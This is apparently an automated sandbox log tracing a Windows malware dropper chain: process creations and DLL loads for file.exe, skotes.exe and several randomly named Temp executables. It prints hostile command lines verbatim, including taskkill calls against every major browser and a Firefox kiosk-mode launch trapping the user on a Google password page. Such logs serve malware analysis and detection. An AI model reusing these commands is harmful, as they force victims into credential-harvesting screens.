Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2168 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4e46413c-d34b-4bb5-adfb-3687c24cfd1f} 8148 "\\.\pipe\gecko-crash-server-pipe.8148" 2296eb6df10 socket
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Process created: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe "C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe "C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003125001\num.exe "C:\Users\user\AppData\Local\Temp\1003125001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Process created: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe "C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe "C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4364 -parentBuildID 20230927232528 -prefsHandle 4352 -prefMapHandle 4348 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {651ca645-af68-4528-a615-b1d665984952} 8148 "\\.\pipe\gecko-crash-server-pipe.8148" 22980b6a410 rdd
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe "C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe "C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe "C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe "C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe "C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003125001\num.exe "C:\Users\user\AppData\Local\Temp\1003125001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Process created: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe "C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Process created: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe "C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2168 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4e46413c-d34b-4bb5-adfb-3687c24cfd1f} 8148 "\\.\pipe\gecko-crash-server-pipe.8148" 2296eb6df10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4364 -parentBuildID 20230927232528 -prefsHandle 4352 -prefMapHandle 4348 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {651ca645-af68-4528-a615-b1d665984952} 8148 "\\.\pipe\gecko-crash-server-pipe.8148" 22980b6a410 rdd
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: iphlpapi.dll
